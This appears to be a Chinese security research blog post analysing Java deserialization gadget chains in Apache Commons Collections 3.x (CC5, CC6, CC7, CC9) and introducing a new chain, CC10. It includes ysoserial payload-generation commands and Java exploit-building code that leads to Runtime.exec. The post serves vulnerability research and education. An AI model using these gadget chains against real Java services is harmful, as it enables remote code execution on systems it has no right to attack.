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Java反序列化利用链挖掘之CommonsCollections5,6,7,9,10

0x00 前言

本文继续分析CommonsCollections的相关反序列化利用链，这次主要分析CommonsCollections5,6,7，以及我找的一个新利用链，这里暂且将其称为10.

0x01 环境准备

jdk8，commons-collections:3.1

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "open /System/Applications/Calculator.app" > commonscollections5.ser
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections6 "open /System/Applications/Calculator.app" > commonscollections6.ser
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections7 "open /System/Applications/Calculator.app" > commonscollections7.ser

0x02 利用链分析

1. 背景回顾

前面提到过CommonsCollections1和3在构造AnnotationInvocationHandler时用到了Override.class。但是如果你在jdk8的环境下去载入生成的payload，会发生java.lang.Override missing element entrySet的错误。

这个错误的产生原因主要在于jdk8更新了AnnotationInvocationHandler参考

image-20191029103316582

jdk8不直接调用s.defaultReadObject来填充当前的AnnotaionInvocationHandler实例，而选择了单独填充新的变量。

这里我们回顾一下，1和3的payload的触发点是LazyMap.get函数，而触发这个函数需要使得memberValues为LazyMap对象

image-20191029103756251

显然，jdk8的操作使得memberValues并不是我们构造好的LazyMap类型。在调试中，可以看到此时的memberValues为LinkedHashMap对象，该对象无法获得entrySet的内容，所以会报前面的这个错误。

jdk8下CommonsCollections1和3无法成功利用了，但是如果我们可以找到一个替代AnnotationInvocationHandler的利用方式呢？这就是本文要讲的CommonsCollections5，6，7所做出的改变。

2. 重新构造前半部分利用链--CommonsCollections5

CommonsCollections5与1的区别在于AnnotationInvocationHandler，后部分是相同的，所以这里不分析后部分。

AnnotationInvocationHandler在前面起到的作用是来触发LazyMap.get函数，所以我们接下来就是要重新找一个可以触发该函数的对象。这个对象满足

  • 类可序列化，类属性有个可控的Map对象或Object
  • 该类的类函数上有调用这个Map.get的地方

CommonsCollections5在这里用到了TiedMapEntry，来看一下

image-20191029110642707

TiedMapEntry有一个map类属性，且在getValue处调用了map.get函数。同时toString、hashCode、equals均调用了getValue函数，这里关注toString函数。

image-20191029110812953

toString函数通常在与字符串拼接时，会被自动调用。那么接下来我们需要找一个对象满足

  • 类可序列化，类属性有个Map.Entry对象或Object
  • 该类会自动调用这个类属性的toString函数或前面的另外几种

这里选择了BadAttributeValueExpException对象，他的readObject函数会自动调用类属性的toString函数。

image-20191029111315584

需要注意的是这里System.getSecurityManager为空，换句话说，就是当前的jvm环境不能启用安全管理器。

来看一下一整个调用链

BadAttributeValueExpException.readObject()
    -> valObj.toString() => TiedMapEntry.getValue
    -> TiedMapEntry.map.get() => LazyMap.get()
    -> factory.transform() => ChainedTransformer.transform()
    -> 前文构造的Runtime.getRuntime().exec()

3. 重新构造前半部分利用链--CommonsCollections6

CommonsCollections6是另一种替换方式，后半部分的利用链还是没有变，不作分析。

我们在2中提到了除了CommonsCollections5用的toString外，还有hashCode和equals函数也调用了getValue函数。那么是否存在调用这两个函数的对象函数呢？答案是肯定的！

CommonsCollections6利用了TiedMapEntry的hashCode函数，来触发LazyMap.get

我们都知道HashSet集合里不会存在相同的key，那么是如何判断是否是相同的key呢？这里就要用到key的hashCode函数了，如果key的值相同，其hashCode返回的值也是相同的。这里的HashCode的计算在HashSet的put和add函数完成，并且HashSet从序列化数据中还原出来时会自动调用put函数，这里就给我们提供了可控的地方。

先来看一下HashSet的readObject函数

image-20191029145451405

继续跟put函数，这里其实调用的是HashMap的put函数

image-20191029150815776

其中对key调用的hash()函数会调用key.hashCode函数，那么现在就很清楚了，我们只要将key的值替换成构造好的TiedMapEntry对象就可以了。注意，这里的key值其实就是HashSet.add的实例，在HashSet里的HashMap类属性只用到了Key。

整理一下利用链

HashSet.readObject()
    -> HashMap.put(key) => key.hashCode => TiedMapEntry.hashCode
    -> TiedMapEntry.getValue
    -> TiedMapEntry.map.get() => LazyMap.get()
    -> factory.transform() => ChainedTransformer.transform()
    -> 前文构造的Runtime.getRuntime().exec()

4. 重新构造前半部分利用链--CommonsCollections7

CommonsCollections7用了Hashtable来代替AnnotationInvocationHandler，不同于前面两种CommonsCollections7并未使用TiedMapEntry，而是用了相同key冲突的方式调用equals来触发Lazy.get函数。

先来看一下Hashtable的readObject函数

image-20191029170332420

继续跟进reconstitutionPut

image-20191029170517723

该函数将填充table的内容，其中第1236行仅当有重复数据冲突时，才会进入下面的if语句，这里我们继续跟进equals函数

这里的equals函数取决于key的对象，利用链用的是LazyMap对象，实际调用的是父类AbstractMapDecorator的equals函数

image-20191029173505843

这里又调用了map的equals函数，这里实际调用的是HashMap的父类AbstractMap的equals函数

image-20191029173654711

在第495行调用了m.get函数，所以后面又是我们熟悉的LazyMap.get的套路了。

整理一下利用链

Hashtable.readObject()
    -> Hashtable.reconstitutionPut
    -> LazyMap.equals => AbstractMapDecorator.equals => AbstractMap.equals
    -> m.get() => LazyMap.get()
    -> factory.transform() => ChainedTransformer.transform()
    -> 前文构造的Runtime.getRuntime().exec()

5. 利用链构造

CommonsCollections6和7的exp构造比较复杂，这里单独拿出来讲一下。

CommonsCollections6

经过前面的分析，我们可以知道CommonsCollections6需要将构造好的TiedMapEntry实例添加到HashSet的值上。

简单的方法就是直接add

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add(entry);

复杂一点，就是ysoserail里的实现方法，采用反射机制来完成

其思路主要为：

  • 实例化一个HashSet实例
  • 通过反射机制获取HashSet的map类属性
  • 通过反射机制获取HashMap(map类属性)的table(Node)类属性
  • 通过反射机制获取Node的key类属性，并设置该key的值为构造好的TiedMapEntry实例

具体代码如下

HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
    f = HashSet.class.getDeclaredField("map");//获取HashSet的map Field对象
} catch (NoSuchFieldException e) {
    f = HashSet.class.getDeclaredField("backingMap");
}
Permit.setAccessible(f);// 设置map可被访问修改
HashMap innimpl = null;
innimpl = (HashMap) f.get(map);// 获取map实例的map类属性

Field f2 = null;
try {
  f2 = HashMap.class.getDeclaredField("table");// 获取HashMap的 table field
} catch (NoSuchFieldException e) {
  f2 = HashMap.class.getDeclaredField("elementData");
}
Permit.setAccessible(f2);// 设置HashMap的field 可被访问
Object[] array = new Object[0];
array = (Object[]) f2.get(innimpl);
Object node = array[0];// 获取Node<k,v>实例
if(node == null){
  node = array[1];
}

Field keyField = null;
try{
  keyField = node.getClass().getDeclaredField("key");// 获取Node的key field
}catch(Exception e){
  keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Permit.setAccessible(keyField);// 设置该Field可被访问修改
keyField.set(node, entry);// 对node实例填充key的值为TiedMapEntry实例

经过上面的操作，最终的HashSet实例被我们嵌入了构造好的TiedMapEntry实例。

这里在调试的过程中，发现用ysoserail的Reflections来简化exp，出来的结果有点不一样，还没有找到具体的原因。如果有师傅遇到过这种问题，欢迎一起讨论讨论！

CommonsCollections7

CommonsCollections利用的是key的hash冲突的方法来触发equals函数，该函数会调用LazyMap.get函数

那么构造exp的关键就是构造一个hash冲突的LazyMap了。

这里大家可以跟一下String.hashCode函数，他的计算方法存在不同字符串相同hash的可能性，例如如下代码

image-20191031172937969

CommonsCollections7用的就是这个bug来制造hash冲突。

这里需要提一点的是触发LazyMap.get函数

image-20191031181203017

要走到第151行红框框上，首先需要满足的是map里不存在当前这个key

但是明显在第一次不存在这个key后，会更新map的键值，这将导致下次同样的key进来，就不会触发后续的payload了。我们在写exp的时候需要注意到这一点。

来看一下ysoserial的CommonsCollections7是怎么编写的！

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");

其中第两次的put会使得会使得LazyMap2中增加了yy这个键值，为了保证反序列化后仍然可以触发后续的利用链，这里需要将lazyMap2的yy键值remove掉。

6. 构造新CommonsCollections10

经过对前面1,3,5,6,7的分析，我们其实可以发现很多payload都是“杂交”的成果。那么我们是否能根据前面的分析，构造出一个新的CommonsCollections的payload呢？答案当然是肯定的，接下来讲一下我找到的一个新payload利用。

这个payload为CommonsCollections6和7的结合，同CommonsCollections6类似，这里也用到了TiedMapEntry的hashCode函数

我们在分析Hashtable的reconstitutionPut函数时，看下图

image-20191031183753047

该函数在第1234行对key调用了一次hashCode函数，那么很明显，如果key值被代替为构造好的TiedMapEntry实例，这里我们就能触发LazyMap.get函数，后续的调用链就类似了。

整理一下利用链

Hashtable.readObject()
    -> Hashtable.reconstitutionPut
    -> key.hashCode() => TiedMapEntry.hashCode()
    -> TiedMapEntry.getValue
    -> TiedMapEntry.map.get() => LazyMap.get()
    -> factory.transform() => ChainedTransformer.transform()
    -> 前文构造的Runtime.getRuntime().exec()

其实从利用链来看，与CommonsCollections6的区别在于前部的触发使用了不同的对象。

接下来，结合第5点的学习，我们来写一下这个payload的利用链exp

final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

final Map innerMap = new HashMap();
final Map innerMap2 = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
Hashtable hashtable = new Hashtable();
hashtable.put("foo",1);
// 获取hashtable的table类属性
Field tableField = Hashtable.class.getDeclaredField("table");
Permit.setAccessible(tableField);
Object[] table = (Object[])tableField.get(hashtable);
Object entry1 = table[0];
if(entry1==null)
    entry1 = table[1];
// 获取Hashtable.Entry的key属性
Field keyField = entry1.getClass().getDeclaredField("key");
Permit.setAccessible(keyField);
// 将key属性给替换成构造好的TiedMapEntry实例
keyField.set(entry1, entry);
// 填充真正的命令执行代码
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return hashtable;

7. 梅子酒师傅的CommonsCollections9

找到上面CommonsCollections10时，在网上找了一下有没有师傅已经挖到过了，一共找到下面三位师傅

  • https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java
  • https://github.com/frohoff/ysoserial/pull/125/commits/4edf02ba7765488cac124c92e04c6aae40da3e5d
  • https://github.com/frohoff/ysoserial/pull/116

一个一个来说

  1. 第一个Jayl1n师傅做的改变主要是最终的Runtime.getRuntime().exec改成了URLClassLoader.loadClass().newInstance的方式，前面用的还是CommonsCollections6，这里暂时不将其归类为新的利用链。

  2. 第二个是梅子酒师傅提交的CommonsCollections9，主要利用的是CommonsCollections:3.2版本新增的DefaultedMap来代替LazyMap，因为这两个Map有同样的get函数可以被利用，这里不再具体分析。

  3. 第三个是navalorenzo师傅提交的CommonsCollections8，其利用链基于CommonsCollections:4.0版本，暂时不在本篇文章的分析范围内，后面会好好分析一下。

0x03 总结

联合前面两篇文章CommonsCollections1、CommonsCollections3，在加上本文的CommonsCollections5，6，7，9，10。

由于网上已经有类似的文章做了总结，这里就简单做一下CommonsCollections<=3.2.1下的反序列化利用链的总结。

  • 起始点
  • AnnotationInvocationHandler的readObject
  • BadAttributeValueExpException的readObject
  • HashSet的readObject
  • Hashtable的readObject
  • 重要的承接点
  • LazyMap的get
  • DefaultedMap的get
  • TiedMapEntry的getValue
  • Proxy的invoke
  • 终点
  • ChainedTransformer的transform
  • InvokerTransformer的transform
  • ConstantTransformer的transform

各exp的jdk适用版本

  1. jdk7 => CommonsCollection1、3
  2. jdk7 & jdk8 => CommonsCollections5,6,7,9,10

各exp的commons-collections适用版本

  1. commons-collections<=3.1 CommonsCollections1,3,5,6,7,10
  2. commons-collections<=3.2.1 CommonsCollections1,3,5,6,7,9,10

最后的最后，commons-collections:3.x版本的反序列化利用链就分析到这里，其实我相信如果想继续挖可代替的利用链还是会有的，就像本文挖到的CommonsCollections10，如果各位师傅有兴趣可以继续挖下去，也欢迎和各位师傅一起交流。

后续还会把commons-collections:4版本的利用链做一个分析，欢迎一起交流：）